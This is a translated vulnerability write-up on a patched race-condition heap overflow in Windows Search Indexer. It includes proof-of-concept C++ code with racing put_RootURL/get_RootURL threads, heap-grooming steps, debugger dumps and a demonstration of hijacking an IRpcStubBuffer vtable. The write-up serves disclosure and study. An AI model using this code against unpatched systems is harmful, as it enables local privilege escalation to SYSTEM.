Windows Search Indexer 本地提權(quán)漏洞分析
Windows Search Indexer 介紹
Windows Search Indexer是一項(xiàng)Windows服務(wù),用于為Windows Search處理文件索引,這為Windows內(nèi)置的文件搜索引擎提供了動(dòng)力,該引擎為從“開(kāi)始”菜單搜索框到Windows資源管理器甚至是“庫(kù)”函數(shù)的所有函數(shù)提供支持。
Search Indexer有助于從GUI的角度通過(guò)GUI和索引選項(xiàng)將用戶定向到服務(wù)界面,如下所示。

索引過(guò)程中的所有數(shù)據(jù)庫(kù)和臨時(shí)數(shù)據(jù)都存儲(chǔ)為文件并進(jìn)行管理。通常,在Windows Service中,整個(gè)過(guò)程都是使用NT AUTHORITY SYSTEM特權(quán)執(zhí)行的。如果由于修改文件路徑而碰巧存在邏輯漏洞,則可能會(huì)觸發(fā)特權(quán)提升。(例如Symlink攻擊)
鑒于最近在Windows Service中發(fā)生的大多數(shù)漏洞都是由于邏輯漏洞而導(dǎo)致的LPE漏洞,因此我們假定Search Indexer可能有類似的漏洞,但是,我們的分析結(jié)果并非如此,隨后將介紹更多詳細(xì)信息。
補(bǔ)丁對(duì)比
分析環(huán)境是Windows7 x86,因?yàn)樗哂休^小的更新文件,并且易于識(shí)別差異,我們下載了該模塊的兩個(gè)補(bǔ)丁版本。
可以從Microsoft更新目錄下載它們:
- patch程序版本(1月程序):KB4534314 2
- 補(bǔ)丁程序版本(2月補(bǔ)丁):KB4537813 3
我們從patch過(guò)的二進(jìn)制文件的BinDiff開(kāi)始(在這種情況下,只有一個(gè):searchindexer.exe)
大多數(shù)補(bǔ)丁都是在CSearchCrawlScopeManager和CSearchRoot類中完成的。前者在1月進(jìn)行了patch,而后者在下個(gè)月進(jìn)行了patch。這兩個(gè)類都包含相同的更改,因此我們專注于patch的CSearchRoot。
下圖顯示添加了原始代碼,該代碼使用Lock來(lái)安全地訪問(wèn)共享資源。我們推斷,訪問(wèn)共享資源會(huì)導(dǎo)致競(jìng)爭(zhēng)條件漏洞的發(fā)生,因?yàn)樵撗a(bǔ)丁由putter, getter函數(shù)組成。

界面互動(dòng)
我們參考了MSDN,了解如何使用這些類,并發(fā)現(xiàn)它們都與“爬網(wǎng)管理器”相關(guān)的,我們可以檢查此類的方法信息。
MSDN說(shuō)4:
爬網(wǎng)范圍管理器(CSM)是一組API,可添加,刪除和枚舉Windows搜索索引器的搜索root和范圍規(guī)則。當(dāng)希望索引器開(kāi)始對(duì)新容器進(jìn)行爬網(wǎng)時(shí),可以使用CSM設(shè)置搜索root目錄,并為搜索root目錄內(nèi)的路徑設(shè)置作用域規(guī)則。
CSM界面如下:
- IEnumSearchRoots
- IEnumSearchScopeRules
- ISearchCrawlScopeManager
- ISearchCrawlScopeManager2
- ISearchRoot
- ISearchScopeRule
- ISearchItem
例如,添加,刪除和枚舉搜索root和范圍規(guī)則可以通過(guò)以下方式編寫:
ISearchCrawlScopeManager告知搜索引擎要爬網(wǎng)和/或監(jiān)視的容器,以及要包含或排除的容器下的項(xiàng)目。若要添加新的搜索,需要實(shí)例化ISearchRoot對(duì)象,設(shè)置root屬性,然后調(diào)用ISearchCrawlScopeManager :: AddRoot并將其傳遞給ISearchRoot對(duì)象的指針。
- // Add RootInfo & Scope Rule
- pISearchRoot->put_RootURL(L"file:///C:\ ");
- pSearchCrawlScopeManager->AddRoot(pISearchRoot);
- pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS);
- // Set Registry key
- pSearchCrawlScopeManager->SaveAll();
當(dāng)我們不再希望對(duì)該URL編制索引時(shí),我們還可以使用ISearchCrawlScopeManager從爬網(wǎng)范圍中刪除root。刪除root還會(huì)刪除該URL的所有范圍規(guī)則。我們可以卸載應(yīng)用程序,刪除所有數(shù)據(jù),然后從爬網(wǎng)范圍中刪除搜索root,并且“爬網(wǎng)范圍管理器”將刪除root以及與該root相關(guān)聯(lián)的所有范圍規(guī)則。
- // Remove RootInfo & Scope Rule
- ISearchCrawlScopeManager->RemoveRoot(pszURL);
- // Set Registry key
- ISearchCrawlScopeManager->SaveAll();
CSM使用IEnumSearchRoots枚舉搜索root。出于多種目的,我們可以使用此類枚舉搜索root;例如,我們可能想要在用戶界面中顯示整個(gè)爬網(wǎng)范圍,或者發(fā)現(xiàn)爬網(wǎng)范圍中是否已經(jīng)有特定的root目錄或root目錄的子級(jí)。
- // Display RootInfo
- PWSTR pszUrl = NULL;
- pSearchRoot->get_RootURL(&pszUrl);
- wcout << L"\t" << pszUrl;
- // Display Scope Rule
- IEnumSearchScopeRules *pScopeRules;
- pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules);
- ISearchScopeRule *pSearchScopeRule;
- pScopeRules->Next(1, &pSearchScopeRule, NULL))
- pSearchScopeRule->get_PatternOrURL(&pszUrl);
- wcout << L"\t" << pszUrl;
我們認(rèn)為在處理URL的過(guò)程中會(huì)出現(xiàn)漏洞,因此,我們開(kāi)始分析根本原因。
漏洞分析
我們針對(duì)以下函數(shù)進(jìn)行了二進(jìn)制分析:
- ISearchRoot :: put_RootURL
- ISearchRoot :: get_RootURL
在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL時(shí),我們發(fā)現(xiàn)引用了對(duì)象的共享變量(CSearchRoot + 0x14)。
put_RootURL函數(shù)將用戶控制的數(shù)據(jù)寫入CSearchRoot + 0x14的內(nèi)存中。get_RootURL函數(shù)讀取位于CSearchRoot + 0x14內(nèi)存中的數(shù)據(jù),該漏洞似乎是由與補(bǔ)丁程序有關(guān)的共享變量引起的。
因此,我們終于到了漏洞開(kāi)始的地方,該漏洞在發(fā)生以下情況時(shí)可能會(huì)觸發(fā):
1. 首次提?。河米鲀?nèi)存分配大小(第9行)
2. 第二次獲?。河米鲀?nèi)存副本大小(第13行)
如果第一個(gè)和第二個(gè)的大小不同,則可能會(huì)發(fā)生堆溢出,尤其是在第二個(gè)提取的大小較大時(shí)。我們認(rèn)為,在發(fā)生內(nèi)存復(fù)制之前,我們通過(guò)競(jìng)爭(zhēng)條件充分更改了pszURL的大小。
崩潰現(xiàn)場(chǎng)
通過(guò)OleView 5,我們可以看到Windows Search Manager提供的界面,而且我們需要跟據(jù)接口的方法來(lái)攻擊漏洞函數(shù)。

我們可以通過(guò)MSDN 6提供的基于COM的命令行源代碼輕松地對(duì)其進(jìn)行測(cè)試,并編寫了攻擊存在漏洞的函數(shù)的COM客戶端代碼,如下所示:
- int wmain(int argc, wchar_t *argv[])
- {
- // Initialize COM library
- CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
- // Class instantiate
- ISearchRoot *pISearchRoot;
- CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot));
- // Vulnerable functions hit
- pISearchRoot->put_RootURL(L"Shared RootURL");
- PWSTR pszUrl = NULL;
- HRESULT hr = pSearchRoot->get_RootURL(&pszUrl);
- wcout << L"\t" << pszUrl;
- CoTaskMemFree(pszUrl);
- // Free COM resource, End
- pISearchRoot->Release();
- CoUninitialize();
- }
漏洞觸發(fā)非常簡(jiǎn)單。我們創(chuàng)建了兩個(gè)線程:一個(gè)線程將不同長(zhǎng)度的數(shù)據(jù)寫入共享緩沖區(qū),另一個(gè)線程同時(shí)從共享緩沖區(qū)讀取數(shù)據(jù)。
- DWORD __stdcall thread_putter(LPVOID param)
- {
- ISearchManager *pSearchManager = (ISearchManager*)param;
- while (1) {
- pSearchManager->put_RootURL(L"AA");
- pSearchManager->put_RootURL(L"AAAAAAAAAA");
- }
- return 0;
- }
- DWORD __stdcall thread_getter(LPVOID param)
- {
- ISearchRoot *pISearchRoot = (ISearchRoot*)param;
- PWSTR get_pszUrl;
- while (1) {
- pISearchRoot->get_RootURL(&get_pszUrl);
- }
- return 0;
- }
崩潰了!
毫無(wú)疑問(wèn),在StringCchCopyW函數(shù)復(fù)制RootURL數(shù)據(jù)之前,競(jìng)爭(zhēng)條件已經(jīng)成功,從而導(dǎo)致堆溢出。
劫持EIP
為了控制EIP,我們應(yīng)該為發(fā)生漏洞的Sever堆創(chuàng)建一個(gè)對(duì)象。
我們編寫了如下的客戶端代碼,以跟蹤堆狀態(tài)。
- int wmain(int argc, wchar_t *argv[])
- {
- CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE);
- ISearchRoot *pISearchRoot[20];
- for (int i = 0; i < 20; i++) {
- CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i]));
- }
- pISearchRoot[3]->Release();
- pISearchRoot[5]->Release();
- pISearchRoot[7]->Release();
- pISearchRoot[9]->Release();
- pISearchRoot[11]->Release();
- CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL);
- CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL);
- Sleep(500);
- CoUninitialize();
- return 0;
- }
我們發(fā)現(xiàn),如果客戶端不釋放pISearchRoot對(duì)象,則IRpcStubBuffer對(duì)象將保留在服務(wù)器堆上。而且我們還看到IRpcStubBuffer對(duì)象保持在發(fā)生漏洞的堆的位置附近。
- 0:010> !heap -p -all
- ...
- 03d58f10 0005 0005 [00] 03d58f18 0001a - (busy) <-- CoTaskMalloc return
- mssprxy!_idxpi_IID_Lookup (mssprxy+0x75)
- 03d58f38 0005 0005 [00] 03d58f40 00020 - (free)
- 03d58f60 0005 0005 [00] 03d58f68 0001c - (busy) <-- IRpcStubBuffer Obj
- ? mssprxy!_ISearchRootStubVtbl+10
- 03d58f88 0005 0005 [00] 03d58f90 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
- 03d58fb0 0005 0005 [00] 03d58fb8 00020 - (busy)
- 03d58fd8 0005 0005 [00] 03d58fe0 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
- 03d59000 0005 0005 [00] 03d59008 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
- 03d59028 0005 0005 [00] 03d59030 00020 - (busy)
- 03d59050 0005 0005 [00] 03d59058 00020 - (busy)
- 03d59078 0005 0005 [00] 03d59080 00020 - (free)
- 03d590a0 0005 0005 [00] 03d590a8 00020 - (free)
- 03d590c8 0005 0005 [00] 03d590d0 0001c - (busy)
- ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
在COM中,所有接口都有自己的接口存根空間。存根是用于在RPC通信期間支持遠(yuǎn)程方法調(diào)用的較小內(nèi)存空間,IRpcStubBuffer是此類接口存root的主要接口。在此過(guò)程中,支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服務(wù)器的堆上。
IRpcStubBuffer的vtfunction如下:
- 0:003> dds poi(03d58f18) l10
- 71215bc8 7121707e mssprxy!CStdStubBuffer_QueryInterface
- 71215bcc 71217073 mssprxy!CStdStubBuffer_AddRef
- 71215bd0 71216840 mssprxy!CStdStubBuffer_Release
- 71215bd4 71217926 mssprxy!CStdStubBuffer_Connect
- 71215bd8 71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize();
- 71215bdc 7121687c mssprxy!CStdStubBuffer_Invoke
- 71215be0 7121791b mssprxy!CStdStubBuffer_IsIIDSupported
- 71215be4 71217910 mssprxy!CStdStubBuffer_CountRefs
- 71215be8 71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface
- 71215bec 712178fa mssprxy!CStdStubBuffer_DebugServerRelease
當(dāng)客戶端的COM未初始化時(shí),IRpcStubBuffer :: Disconnect斷開(kāi)對(duì)象指針的所有連接。因此,如果客戶端調(diào)用CoUninitialize函數(shù),則會(huì)在服務(wù)器上調(diào)用CStdStubBuffer_Disconnect函數(shù)。這意味著用戶可以構(gòu)造偽造的vtable并調(diào)用該函數(shù)。
但是,我們并不總是看到IRpcStubBuffer分配在同一位置堆上。因此,需要多次嘗試來(lái)構(gòu)造堆布局,經(jīng)過(guò)幾次嘗試后,IRpcStubBuffer對(duì)象被如下可控值(0x45454545)覆蓋。
最后,我們可以證明可以間接調(diào)用內(nèi)存中的函數(shù)!
分析結(jié)論
Windows Service中最近發(fā)生的大多數(shù)LPE漏洞都是邏輯漏洞。通過(guò)這種方式,對(duì)Windows Search Indexer的內(nèi)存損壞漏洞進(jìn)行分析非常有趣。因此,此后的Windows Service中很可能會(huì)出現(xiàn)這種內(nèi)存損壞漏洞。
我們希望該分析將對(duì)其他漏洞研究人員有所幫助,并可以用于進(jìn)一步的研究。
參考文獻(xiàn)
- https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩
- https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩
- https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩
- https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩
- https://github.com/tyranid/oleviewdotnet ↩
- https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline ↩
本文翻譯自:http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html如若轉(zhuǎn)載,請(qǐng)注明原文地址。